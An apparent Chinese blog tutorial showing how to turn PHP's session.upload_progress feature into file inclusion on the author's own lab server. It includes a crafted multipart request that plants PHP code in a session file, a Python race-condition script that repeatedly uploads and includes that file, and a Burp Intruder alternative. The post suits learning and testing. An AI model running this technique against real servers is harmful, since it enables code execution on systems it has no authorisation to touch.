利用session.upload_progress执行文件包含

1.session.upload_progress的作用:

        session.upload_progress最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在Session中(包含用户可控的值),即使此时用户没有初始化Session,PHP也会自动初始化Session。

        默认情况下,session.upload_progress是开启的,我们发送一下以下数据包,可见,我在上传文件的同时,POST了一个名为PHP_SESSION_UPLOAD_PROGRESS的字段,其值为。(PHP_SESSION_UPLOAD_PROGRESS是在php.ini里定义的session.upload_progress.name)只要上传包里带上这个键,PHP就会自动启用Session,又因为我在Cookie中设置了PHPSESSID=oupeng,所以Session文件将会自动创建。并且会生成由PHP_SESSION_UPLOAD_PROGRESS和<?php phpinfo(); ?>组成的文件内容。

POST /xss_location/include/session_upload.php HTTP/1.1
Host: 172.16.60.64
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.16.60.64
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGmgITM0pPCAAzrsA
Cookie: PHPSESSID=oupeng
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://172.16.60.64/xss_location/include/session_upload.html
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

<?php phpinfo(); ?>
------WebKitFormBoundaryGmgITM0pPCAAzrsA
Content-Disposition: form-data; name="file"; filename="flag.txt"
Content-Type: text/plain

<?php phpinfo(); ?>aaaaaaaaaaaaa
------WebKitFormBoundaryGmgITM0pPCAAzrsA--

但是由于有session.upload_progress.cleanup的存在(默认是开启的),session会在被上传之后自动清除。

2.竞争

        为了解决这个问题,我们则需要竞争,在文件被清除前完成利用。所以我用到了一个python脚本。

import io
import requests
import threading

sessid = 'oupeng'


def t1(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        response = session.post(
            'http://127.0.0.1/include/demo.php',
            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?=phpinfo()?>'},
            files={'file': ('a.txt', f)},
            cookies={'PHPSESSID': sessid}
        )


def t2(session):
    while True:
        response = session.get(f'http://127.0.0.1/include/1.php?file=C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_{sessid}'))
        print(response.text)


with requests.session() as session:
    t1 = threading.Thread(target=t1, args=(session,))
    t1.daemon = True
    t1.start()

    t2(session)

按理来说这个脚本是没什么问题的。

代码编写遇到的问题:
第一个问题:编码问题
 UnicodeEncodeError: 'gbk' codec can't encode character '\xe4' in position 82201: illegal multibyte sequence,

        就是在这里的gbk编码可能无法对某些unicode字符进行编码导致报错,所以我在t2进程的response对象设置为utf-8编码

但是发现还是有编码问题:

nicode 编码错误: 'gbk' codec can't encode character '\xe4' in position 82145: illegal multibyte sequence

所以我直接导入了一个sys.stdout模块,这个模块作用就是标准输出,我写的就是标准输出使用utf-8

第二个问题:找不到临时文件

就是在我脚本上面写的路径找不到临时文件

<br />
<b>Warning</b>:  include(C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp/sess_oupeng): failed to open stream: No such file or directory in <b>C:\Study\phpstudy\phpstudy_pro\WWW\include\1.php</b> on line <b>2</b><br />
<br />

 不知道是哪一步出了问题,所以我在t1进程打印一下服务器的响应内容,运行后返回的就是200,没有问题。

print(response.text)

然后我想起来php.ini配置文件里面的upload_tmp_dir我配置的是在windows/temp下面,不知道是否需要改成脚本的路径,所以我尝试改了后重新运行。

upload_tmp_dir = "C:/Study/phpstudy/phpstudy_pro/Extensions/tmp/tmp"

 最后是包含成功了。

 

竞争的第二种方法:

除了用脚本竞争,也可以用burpsuite同时开两个intruder进程,一个进程一直上传文件,一个进程用作包含文件,最后也可以完成文件包含。

这是包含的进程

 

 这是上传的进程

 可以发现包含成功了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值